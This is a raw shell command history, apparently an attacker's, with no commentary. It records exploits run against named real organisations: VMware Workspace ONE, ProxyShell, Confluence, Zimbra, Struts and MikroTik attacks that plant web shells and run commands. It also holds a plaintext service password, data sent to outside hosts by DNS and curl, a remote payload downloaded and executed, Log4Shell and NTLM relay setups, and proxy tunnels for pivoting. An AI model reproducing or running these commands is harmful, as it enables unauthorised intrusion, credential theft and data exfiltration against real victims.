proxychains4 python2 zzz_exploit.py -t 172.22.208.157 -u hzvidmservice -p 'q*S!et+b!D5AfuSL' -d
net.JohnLewis.co.uk -c whoami
proxychains4 python2 zzz_exploit.py -t 172.22.208.157 -u net.JohnLewis.co.uk\hzvidmservice -p 'q*S!et+b!D5AfuSL' -
d net.JohnLewis.co.uk -c whoami
proxychains4 python2 zzz_exploit.py -t 172.22.208.157 -u net.JohnLewis.co.uk/hzvidmservice -p 'q*S!et+b!D5AfuSL' -
d net.JohnLewis.co.uk -c whoami
proxychains4 python2 zzz_exploit.py -t 172.22.95.85 -u hzvidmservice -p 'q*S!et+b!D5AfuSL' -d net.JohnLewis.co.uk
-c whoami
cd ../
git clone git clone https://github.com/d4t4s3c/Win7Blue.git
git clone https://github.com/d4t4s3c/Win7Blue.git
cd Win7Blue/
chmod +x Win7Blue.sh
./Win7BLue.sh
ls
cd ../
cd Win7Blue/
./Win
./Win7Blue.sh
proxychains4 ./Win7Blue.sh
cd ../
history
cd CVE-2021-21985-main/
cd ../
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
https://vdiportal-cs.l.waitrose.com/SAAS/zzz.jsp
python3 CVE-2022-22954.py -u https://vdiportal-cs.l.waitrose.com/ -fn
"/opt/vmware/horizon/workspace/webapps/SAAS/zzz.jsp" -fp "/root/shell.jsp"
python3 CVE-2022-22954.py -u https://vdiportal-cs.l.waitrose.com/ -c whoami
python3 CVE-2022-22954.py -u https://vdiportal-cs.l.waitrose.com/ -c 'ls /opt/vmware/horizon/workspace/webapps/'
python3 CVE-2022-22954.py -u https://vdiportal-cs.l.waitrose.com/ -fn
"/opt/vmware/horizon/workspace/webapps/catalog-portal/zzz.jsp" -fp "/root/shell.jsp"
python3 CVE-2022-22954.py -u https://vdiportal-cs.l.waitrose.com/ -c 'ls
/opt/vmware/horizon/workspace/webapps/catalog-portal'
python3 CVE-2022-22954.py -u https://vdiportal-cs.l.waitrose.com/ -c 'ls /opt/vmware/horizon/workspace/webapps/'
python3 CVE-2022-22954.py -u https://vdiportal-cs.l.waitrose.com/ -c 'ls
/opt/vmware/horizon/workspace/webapps/SAAS'
python3 CVE-2022-22954.py -u https://vdiportal-cs.l.waitrose.com/ -c 'rm -rf
/opt/vmware/horizon/workspace/webapps/SAAS/zzz.jsp'
curl https://vdiportal-cs.l.waitrose.com/catalog-portal/zzz.jsp
curl -k https://vdiportal-cs.l.waitrose.com/catalog-portal/zzz.jsp
curl -k -vv https://vdiportal-cs.l.waitrose.com/catalog-portal/zzz.jsp
python3 CVE-2022-22954.py -u https://vdiportal-cs.l.waitrose.com/ -fn
"/opt/vmware/horizon/workspace/webapps/SAAS/zzz.jsp" -fp "/root/shell.jsp"
python3 CVE-2022-22954.py -u https://vdiportal-cs.l.waitrose.com/ -c 'rm -rf
/opt/vmware/horizon/workspace/webapps/catalog-portal/zzz.jsp'
python3 CVE-2022-22954.py -u https://vdiportal-cs.l.waitrose.com/ -c 'ls -la /tmp'
python3 CVE-2022-22954.py -u https://vdiportal-cs.l.waitrose.com/ -c 'ls
/opt/vmware/horizon/workspace/webapps/SAAS'
curl -k -vv https://vdiportal-cs.l.waitrose.com/catalog-portal/zzz.jsp
curl -k -vv https://vdiportal-cs.l.waitrose.com/
curl -k -vv -m 3 https://vdiportal-cs.l.waitrose.com/
curl https://applysme.tbibank.bg/1233.php
curl -k -vv -m 3 https://vdiportal-cs.l.waitrose.com/
ping -c 1 `whoami`.xxx.q9kj.3c130ea5d8d2d3daca7f6808cdf0f148.com
ping -c 1 `cat /etc/resolv.conf`.xxx.q9kj.3c130ea5d8d2d3daca7f6808cdf0f148.com
nc -h
ping -c 1 `hostname`.xxx.q9kj.3c130ea5d8d2d3daca7f6808cdf0f148.com
ping -c 1 `cat /etc/hostname`.xxx.q9kj.3c130ea5d8d2d3daca7f6808cdf0f148.com
cGluZyAtYyAxIGBjYXQgL2V0Yy9ob3N0c2AueHh4LnE5a2ouM2MxMzBlYTVkOGQyZDNkYWNhN2Y2ODA4Y2RmMGYxNDguY29t
```

```
ping -c 1 `cat /etc/hosts`.xxx.q9kj.3c130ea5d8d2d3daca7f6808cdf0f148.com
curl -vv -m 3 https://xxxxx.q9kj.3c130ea5d8d2d3daca7f6808cdf0f148.com/123456
curl -vv -m 3 -k https://xxxxx.q9kj.3c130ea5d8d2d3daca7f6808cdf0f148.com/123456
wget xxxxx.q9kj.3c130ea5d8d2d3daca7f6808cdf0f148.com
rm -rf index.html
wget http://xxxxx.q9kj.3c130ea5d8d2d3daca7f6808cdf0f148.com/123456
rm -rf index.html
ls 123456
wget 95.111.241.172:80
curl -vv -m 3 95.111.241.172:80
for /F %s in ('whoami') do curl -vv -m 3 http://47.242.235.57:443/?user=%s
for s in ('whoami') do curl -vv -m 3 http://47.242.235.57:443/?user=s
for s in `whoami` do curl -vv -m 3 http://47.242.235.57:443/?user=s
for s in `whoami`;do curl -vv -m 3 http://47.242.235.57:443/?user=$s
or $s in `whoami`;do curl -vv -m 3 http://47.242.235.57:443/?user=$s
or $s in `whoami` do curl -vv -m 3 http://47.242.235.57:443/?user=$s
for $s in `whoami` do curl -vv -m 3 http://47.242.235.57:443/?user=$s
for $s in `whoami` do curl -vv -m 3 http://47.242.235.57:443//?user=$s
for $s in `whoami` do curl -vv -m 3 http://47.242.235.57:443\?user=$s
for $s in `whoami` do curl -vv -m 3 http://47.242.235.57:443
for $s in `whoami` do echo $s
for s in `whoami` do echo $s
for i in `whoami`;do echo $i
for i in `whoami`;do echo $i;
for i in `whoami`;do echo $i;done;
for $s in `whoami`;do curl -vv -m 3 http://47.242.235.57:443/?user=$s;done;
for s in `whoami`;do curl -vv -m 3 http://47.242.235.57:443/?user=$s;done;
for s in `cat /etc/resolv.conf | base64`;do curl -m 3 http://47.242.235.57:443/?user=$s;done;
echo for s in `whoami`;do curl -m 3 http://47.242.235.57:443/?user=$s;done; | base64
echo 'for s in `whoami`;do curl -m 3 http://47.242.235.57:443/?user=$s;done;' | base64
echo 'for s in `whoami`;do curl -m 3 http://47.242.235.57:443/?user=$s;done;' | base64 -w0
python3 -m http.server
curl -k -vv "https://vm1-d5-kbl-sdwan-1.telkom.co.id/javascript/2.php"
curl -k -vv "https://vm1-d5-kbl-sdwan-1.telkom.co.id/2.txt"
curl -k -vv "https://vm1-d5-kbl-sdwan-1.telkom.co.id/javascript/2.txt"
curl -k -vv "https://vm1-d5-kbl-sdwan-1.telkom.co.id/2.txt"
curl -k -vv "https://vm1-d5-kbl-sdwan-1.telkom.co.id//dataservice/system/device/sync/rootcertchain"
curl -k -vv https://vdiportal-cs.l.waitrose.com/catalog-portal/zzz.jsp
curl -k -vv -m 3 https://vdiportal-cs.l.waitrose.com/catalog-portal/zzz.jsp
cd proxyshell-auto/
ls
python3 proxy
python3 proxyshell.py
python3 proxyshell.py -t webmail.travelex.co.za
cd ../
python2 exchange.py webmail.travelex.co.za fx_benmore@travelex.co.za
cd proxyshell
ls
cd ../
cd ProxyShell/
ls
python3 exploit.py
python3 exploit.py webmail.travelex.co.za fx_benmore@travelex.co.za
cd ../
ls
cd proxyshell
ls
cd ../
cd ProxyVulns/
ls
python3 26855.py
```

```
python3 26855.py  webmail.travelex.co.za
python3 exploit.py webmail.travelex.co.za fx_benmore@travelex.co.za
curl -k -vv https://vdiportal-cs.l.waitrose.com/catalog-portal/zzz.jsp
git clone https://objects.githubusercontent.com/github-production-release-asset-2e65be/48378947/dc9ffa94-6920-
11e6-98f1-0f15acf4de6f?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20221013%2Fus-
east-1%2Fs3%2Faws4_request&X-Amz-Date=20221013T135718Z&X-Amz-Expires=300&X-Amz-
Signature=a2a90de95bbfd8c199b2718be6cdb684b7219e26044ec328dc189806edb17a03&X-Amz-
SignedHeaders=host&actor_id=86842709&key_id=0&repo_id=48378947&response-content-
disposition=attachment%3B%20filename%3Dfrp_0.8.1_linux_386.tar.gz&response-content-type=application%2Foctet-stream
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
tar -xf frp_0.8.1_linux_386.tar.gz
cd frp_0.8.1_linux_386/
ls
cat frpcs.ini
cat frpc.ini
cat frps.ini
vi frpc.ini
vi frps.ini
chmod 777 frps
./frps -c frps.ini
ps -ef
vi frps.ini
cp frps.ini frps1.ini
vi frps.
vi frps.ini
./frps -c ./frps.ini
curl -k -vv https://vdiportal-cs.l.waitrose.com/catalog-portal/zzz.jsp
curl -k -vv -m 3 https://vdiportal-cs.l.waitrose.com/catalog-portal/zzz.jsp
d ../
cd ../
mkdir target
cd target/
touch 1.txt
vim 1.txt
python3 -m http.server
vim 1.txt
python3 -m http.server
cat 1.txt
curl -vv -m 3 -k https://173.226.190.167
curl -vv -m 3 https://1.235.28.129/autodiscover/autodiscover.json?@test.com/mapi/nspi/?
&Email=autodiscover/autodiscover.json%3F@test.com
curl -vv -m 3 -k https://1.235.28.129/autodiscover/autodiscover.json?@test.com/mapi/nspi/?
&Email=autodiscover/autodiscover.json%3F@test.com
curl -k -vv https://vdiportal-cs.l.waitrose.com/catalog-portal/zzz.jsp
curl -k -vv -m 3 https://vdiportal-cs.l.waitrose.com/catalog-portal/zzz.jsp
ls
cd nps_new/
ls
./nps install
./nps start
./nps stop
screen -ls
ls
wget https://github.com/ehang-io/nps/releases/download/v0.26.10/linux_amd64_server.tar.gz
tar -zxvf linux_amd64_server.tar.gz
ls
cd nps
mkdir nps
mkdir nps_new
cd nps_new/
cd ..//
```

```
mv linux_amd64_server.tar.gz ./nps_new/
cd nps_new/
tar -zxvf linux_amd64_server.tar.gz
sudo ./nps install
nps start
sudo nps start
ls
cd conf/
ls
vim nps.conf
cd ../
sudo nps stop
sudo nps start
./nps reload
sudo ./nps reload
sudo ./nps start
./nps
cd conf/
ls
vim nps.conf
../nps
nps stop
nps reload
../nps reload
./nps
../nps
ls
vim nps.conf
../nps
for i in `seq 0 0`;do dig $i.file.swe6.3c130ea5d8d2d3daca7f6808cdf0f148.com TXT @176.97.64.146 |awk -F 'TXT "'
'{print $2}' | tr -d '\n "' >> tmpfile;done;
base64 -d tmpfile > dnsfile
cat tmpfile
cat dnsfile
for i in `seq 0 0`;do dig $i.file.swe6.3c130ea5d8d2d3daca7f6808cdf0f148.com TXT @176.97.64.146 |awk -F 'TXT "'
'{print $2}' | tr -d '\n "' >> tmpfile;done;
base64 -d tmpfile > dnsfile
cat tmpfile
cat dnsfile
rm -rf tmpfile
rm-rf dnsfile
rm -rf dnsfile
cat dnsfile
for i in `seq 0 0`;do dig $i.file.swe6.3c130ea5d8d2d3daca7f6808cdf0f148.com TXT @176.97.64.146 |awk -F 'TXT "'
'{print $2}' | tr -d '\n "' >> tmpfile;done;
base64 -d tmpfile > dnsfile
cat dnsfile
curl -vv -m 3 http://52.174.62.95/ddfV5.0/
touch php.txt
vim php.txt
python3 -m http.server
pip3 install crackmapexec
cme
vim /etc/proxychains4.conf
proxychains4 curl ip.sb
proxychains4 cme
proxychains4 cme smb -h
proxychains4 cme smb 10.2.1.100 -u Administrator -p sT45pC0 -x whoami
proxychains4 cme winrm 10.2.1.100 -u Administrator -p sT45pC0 -x whoami
cd Neo-reGeorg/
python3 neoreg.py -k fuck123 -u https://173.228.232.187/aspnet_client/tunnel.aspx -p 8800
```

```
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
ps -ef
kill -9 2586740
ps -ef
kill -9 943399
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
python3 -m http.server
screen -ls
screen -r 171268
cd fakeServer/
ls
python main.py
python3 main.py
cd fakeServer/
python3 main.py
python3 -m http.server
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
python3 -m http.server 8001
python3 -m http.server 8002
python3 -m http.server 8003
python3 -m http.server 8086
python3 -m http.server 801
python3 -m http.server 8089
python3 -m http.server 8099
echo Zm9yIHMgaW4gYGlkYDtkbyBjdXJsIC1tIDMgaHR0cDovLzQ3LjI0Mi4yMzUuNTc6NDQzLz91c2VyPSRzO2RvbmU7 | base64 -d
for s in `id`;do curl http://tr9k.3c130ea5d8d2d3daca7f6808cdf0f148.com/?user=$s;done;
for s in `id`|do curl http://tr9k.3c130ea5d8d2d3daca7f6808cdf0f148.com/?user=$s|done
python3 -m http.server 8099
python3 -m http.server 8098
git clone https://github.com/Chocapikk/CVE-2022-26134.git
cd CVE-2022-26134
python3 exploit.py
python3 exploit.py -u https://sdlcwiki.electrolux.com/ -c whoami
python2
python2 Zimbra_Rce.py http://mailos.garuda-indonesia.com
python2 Zimbra_Rce.py https://mailos.garuda-indonesia.com
cd JNDIEXP/
ls
java -jar JNDIInject-1.2-SNAPSHOT.jar
java -jar JNDIInject-1.2-SNAPSHOT.jar  -i 8.210.141.104
java -jar JNDIInject-1.2-SNAPSHOT.jar  -i 0.0.0.0
curl `id`.111.s0sl.3c130ea5d8d2d3daca7f6808cdf0f148.com
curl `whoami`.111.s0sl.3c130ea5d8d2d3daca7f6808cdf0f148.com
cd ../
base64 -w 0 root > root.txt
id
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
nc -lnvp 8089
nc -lnvp 8088
python3 -m http.server
ls -la root
python3 -m http.server 8099
ls -la /home
curl -s https://raw.githubusercontent.com/sivel/speedtest-cli/master/speedtest.py | python3 -
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
python3 -m http.server 8099
python exchange.py webmail.aps.edu
python3 exchange.py webmail.aps.edu
python2 exchange.py webmail.aps.edu
python2 exchange.py webmail.aps.edu administrator
python2 exchange.py webmail.aps.edu administrator@aps.edu
```

```
git clone https://github.com/BasuCert/WinboxPoC.git
cd WinboxPoC/
ls
python3 WinboxExploit.py
python3 WinboxExploit.py 103.171.144.116
telnet 103.171.144.116 8291
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
cd WinboxPoC/
python3 WinboxExploit.py 103.171.144.116 8291
python3 WinboxExploit.py 103.171.144.116 2000
cd ../
git clone https://github.com/tenable/routeros.git
cd routeros/
cd poc/
cd bytheway/
ls
cd ../
cd WinboxPoC/
python3 WinboxExploit.py 103.171.144.98
python3 WinboxExploit.py 103.171.144.99
python3 WinboxExploit.py 103.171.144.100
python3 WinboxExploit.py 103.171.144.101
python3 WinboxExploit.py 103.171.144.102
python3 WinboxExploit.py 103.171.144.103
python3 WinboxExploit.py 103.171.144.104
python3 WinboxExploit.py 103.171.144.105
python3 WinboxExploit.py 103.171.144.106
python3 WinboxExploit.py 103.171.144.107
python3 WinboxExploit.py 103.171.144.108
python3 WinboxExploit.py 103.171.144.109
python3 WinboxExploit.py 103.171.144.111
python3 WinboxExploit.py 103.171.144.112
cd ../
cd routeros/
cd poc/
cd bytheway/
ls
cd build/
cmake ..
make
ls
./btw
./btw -i 103.171.144.116
./btw -i 103.171.144.115
./btw -i 103.171.144.114
./btw -i 103.171.144.113
./btw -i 103.171.144.112
./btw -i 103.171.144.111
./btw -i 103.171.144.110
./btw -i 103.171.144.109
./btw -i 103.171.144.108
./btw -i 103.171.144.107
./btw -i 103.171.144.106
./btw -i 103.171.144.105
./btw -i 103.171.144.104
./btw -i 103.171.144.103
./btw -i 103.171.144.102
screen -r
screen -r nmap
screen -S nmap
python3 -m http.server
```

```
git clone https://github.com/mazen160/struts-pwn.git
cd struts-pwn/
python struts-pwn.py --url 'https://keyshot.axaltacs.com' -c 'id'
python3 struts-pwn.py --url 'https://keyshot.axaltacs.com' -c 'id'
python3 struts-pwn.py --url 'https://keyshot.axaltacs.com' -c 'cat /etc/resolv.conf'
python3 struts-pwn.py --url 'https://keyshot.axaltacs.com' -c dig -x 172.31.20.164'
python3 struts-pwn.py --url 'https://keyshot.axaltacs.com' -c 'dig -x 172.31.20.164'
python3 struts-pwn.py --url 'https://keyshot.axaltacs.com' -c 'ping -c 1 www.axalta.com'
python3 struts-pwn.py --url 'https://keyshot.axaltacs.com' -c 'id'
python3 struts-pwn.py --url 'https://keyshot.axaltacs.com' -c 'last -n 10'
python3 struts-pwn.py --url 'https://keyshot.axaltacs.com' -c 'ls -la /etc'
python3 struts-pwn.py --url 'https://keyshot.axaltacs.com' -c 'ls -la /etc/dhcp'
python3 struts-pwn.py --url 'https://keyshot.axaltacs.com' -c 'cat /etc/idmapd.conf'
python3 struts-pwn.py --url 'https://keyshot.axaltacs.com' -c 'cat /etc/kdump.conf'
python3 struts-pwn.py --url 'https://keyshot.axaltacs.com' -c 'ls -la /etc/openldap'
python3 struts-pwn.py --url 'https://keyshot.axaltacs.com' -c 'cat /etc/openldap/ldap.conf'
python3 struts-pwn.py --url 'https://keyshot.axaltacs.com' -c 'ls -la /etc/samba'
python3 struts-pwn.py --url 'https://keyshot.axaltacs.com' -c 'cat /etc/samba/smb.conf'
python3 struts-pwn.py --url 'https://keyshot.axaltacs.com' -c 'ls -la /etc/samba/lmhosts'
python3 struts-pwn.py --url 'https://keyshot.axaltacs.com' -c 'cat /etc/samba/lmhosts'
python3 struts-pwn.py --url 'https://keyshot.axaltacs.com' -c 'ping -c 1
r659.3c130ea5d8d2d3daca7f6808cdf0f148.com'
python3 struts-pwn.py --url 'https://keyshot.axaltacs.com' -c 'ping -c 1 google.com'
python3 struts-pwn.py --url 'https://keyshot.axaltacs.com' -c 'curl -vv -m 3
r659.3c130ea5d8d2d3daca7f6808cdf0f148.com'
python3 struts-pwn.py --url 'https://keyshot.axaltacs.com' -c 'curl -o /tmp/root -s
http://8.210.141.104:8000/root'
python3 struts-pwn.py --url 'https://keyshot.axaltacs.com' -c 'chmod 777 /tmp/root  && /tmp/root'
python3 struts-pwn.py --url 'https://keyshot.axaltacs.com' -c 'rm /tmp/root'
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
python3 -m http.server
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
ls
curl -L https://mirrors.host900.com/https://raw.githubusercontent.com/snail007/goproxy/master/install_auto.sh |
bash
/etc/proxy/
/usr/bin/proxy
cd /etc/proxy/
ls
curl -L https://mirrors.host900.com/https://github.com/snail007/proxy_admin_free/blob/master/install_auto.sh |
bash
./iox fwd -l *8888 -l 33890 -k 656565
wget https://github.com/EddieIvan01/iox/releases/download/v0.4/iox_v0.4-next_Linux_x86_64.tar.gz
ls
tar xzf iox_v0.4-next_Linux_
tar xzf iox_v0.4-next_Linux_x86_64.tar.gz
ls
chmod +x ./iox
./iox
./iox fwd -l *8888 -l 33890 -k 656565
clear
screen -D iox
screen -r iox
screen -S iox
screen -r iox
curl -L https://mirrors.host900.com/https://raw.githubusercontent.com/snail007/goproxy/master/install_auto.sh |
bash
ls
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
./iox proxy -k 000000 -l *9999 -l 10080
curl -k "https://secure.kyocera.co.jp/index.php?plot=;curl%20http://curltest20.ch3iba.dnslog.cn"
```

```
curl -k "https://secure.kyocera.co.jp/index.php?plot=;curl%20http://111.159d0598.dns.1433.eu.org"
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
nc -lnvp 8043
ls
cd JNDIEXP/
ls
java -jar JNDIInject-1.2-SNAPSHOT.jar
java -jar JNDIInject-1.2-SNAPSHOT.jar -i 8.210.141.104
java -jar JNDIInject-1.2-SNAPSHOT.jar -i 8.210.141.104 -l 1538 -p 8043
java -jar JNDIInject-1.2-SNAPSHOT.jar -i 8.210.141.104 -l 8043 -p 8005
cd ../
cd Log4shell_JNDIExploit/
ls
cd JNDIExploit/
java -jar  JNDIExploit-1.3-SNAPSHOT.jar
java -jar  JNDIExploit-1.3-SNAPSHOT.jar  -i 8.210.141.104 -l 8043
java -jar  JNDIExploit-1.3-SNAPSHOT.jar  -i 8.210.141.104 -l 8043 -p 5045
cd ../../
python -m http.server
python3 -m http.server
vim /etc/proxychains4.conf
msfconsole
pip3 install pyinstaller
pyinstaller -F ntlmrelayx.py
cd pyinstaller -F
cd /root/dist/ntlmrelayx
cd /root/dist/
./ntlmrelayx
python3 -m pip install impacket
cd ../
https://github.com/SecureAuthCorp/impacket.git
git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket/
python3 -m pip install .
cd examples/
cd pyinstaller -F
pyinstaller -F ntlmrelayx.py
python3 ntlmrelayx.py
ls
cd dist/
ls
./ntlmrelayx
cd ~
python -m http.server
python3 -m http.server
cd impacket/
cd examples/
cd dist/
;s
ls
python3 -m http.server
cd ../
python3 ntlmrelayx.py -t dcom://10.1.10.32 -smb2support
python3 -m http.server
cd impacket/
cd examples/
ls
rm -rf dist/
rm -rf build/
ls
python3 ntlmrelayx.py
```

```
python3
cd /usr/lib
cd python
cd python3
ls
cd dist-packages/
ls
cd ..
cd python3.8/
ls
ls|grep im
cd ~
wget https://transfer.sh/w3IBKL/impacket.tar
cd ~/impacket/examples
ls
cd ..
ls
car requirements.txt
cat requirements.txt
workon
cd examples/
python3 ntlmrelayx.py -t dcom://10.1.10.32 -smb2support
pyinstaller -F ntlmrelayx.py
cd dist/
./ntlmrelayx
./ntlmrelayx -t dcom://10.1.10.32 -smb2support
cd ../
cd te
cd ../
cd test
python3 ntlmrelayx.py
pyinstaller -F ntlmrelayx.py
cd dist/
ls
./ntlmrelayx
cd ../
./ntlmrelayx
cd dist/
./ntlmrelayx
cd ../
python3 ntlmrelayx.py
cd ../../
python3 -m http.server
sudo apt-get -f install
python3 -m http.server
python3 -m http.server
ps -ef
ps -ef|grep python
python3 -m http.server 8001
python3 -m http.server
./iox proxy -k 000000 -l *9999 -l 10080
screen -S iox
nv -lnvp 8080
nc -lnvp 8080
cd /root/.ssh/
ssh-keygen -t rsa
ls
ssh
cat /etc/proxychains4.conf
vim /etc/proxychains4.conf
proxychains ssh -i id_rsa
```

```
proxychains ssh -i 10.1.128.17 id_rsa
proxychains ssh -i id_rsa 10.1.128.17
proxychains ssh -i id_rsa root@10.1.128.17
ls /id_rsa/home
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
wget https://admin1.youzuanmy.vip/__dodo__/dodo.zip
apt-get install theHarvester
./iox fwd -l *8888 -l 33890 -k 656565
./iox proxy -l 9999 -l 10080
proxy-admin
proxy-admin stop
./iox proxy -l 9999 -l 10080
./iox proxy -l 9999 -l 10080 -k 000000
proxy-admin stopexit
exit
screen -ls
screen -r 1332091.iox
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
screen -ls
screen -r 2532918.iox
screen -s iox
exit
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
screen -ls
screen -r 2532918.iox
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
python -m http.server
python3 -m http.server
nc -lnvp 8443
docker run -d --restart=always -p 3001:3001 -v uptime-kuma:/app/data --name uptime-kuma louislam/uptime-kuma:1
apt install docker.io
apt-get update
apt install docker.io
docker run -d --restart=always -p 3001:3001 -v uptime-kuma:/app/data --name uptime-kuma louislam/uptime-kuma:1
SCREEN -LS
screen -ls
exit
python3 -m http.server
python3 -m http.server 8443
ls -la root
screen -ls
screen -r 2532918.iox
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
python3 -m http.server 8433
python3 -m http.server
screen -ls
scrren -r  2532918.iox
screen -r  2532918.iox
screen -R 2532918.iox
screen -ls
screen -r 2532918.iox
screen -D 2532918.iox
screen -r 2532918.iox
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
./iox proxy -k 000000 -l *9999 -l 10080
./iox proxy -k 000000 -l *9999 -l 10081
exit
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
screen -ls
screen -S iox.audienceview
```

```
screen -ls
screen -r 171268.neo
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
screen -ls
screen -r 171268.neo
screen -ls
screen -r 2532918.iox
python3 -m http.server
ping -c 1 znz38f.dnslog.cn
ping -c 1 `whoami`.znz38f.dnslog.cn
python3 -m http.server
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
screen -ls
screen -r 2532918.iox
./iox proxy -k 000000 -l *9999 -l 10081
exit
screen -S ioxnew
screen -ls
screen -r 2532918.iox
curl -vv -m 3 -k https://app.steeltec-group.com/
python3 -m http.server
ls -la root
screen -r 2532918.iox
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
curl -vv -m 3 -k https://app.steeltec-group.com/
screen -ls
screen -r 171268.neo
python3 -m http.server
python3 -m http.server 80
curl -vv -m 3 -k https://62.2.47.167:8015/
nmap -v -sS -p- ,Äîmin-rate 2000 -open -n -Pn 62.2.47.1/24
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
wget https://github.com/sensepost/ruler/releases/download/2.4.1/ruler-linux64
ls ruler-linux64
./ruler-linux64
chmod 777 ruler-linux64
./ruler-linux64
screen -S ruler
export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";top
screen -ls
screen -R 2509592.ruler
```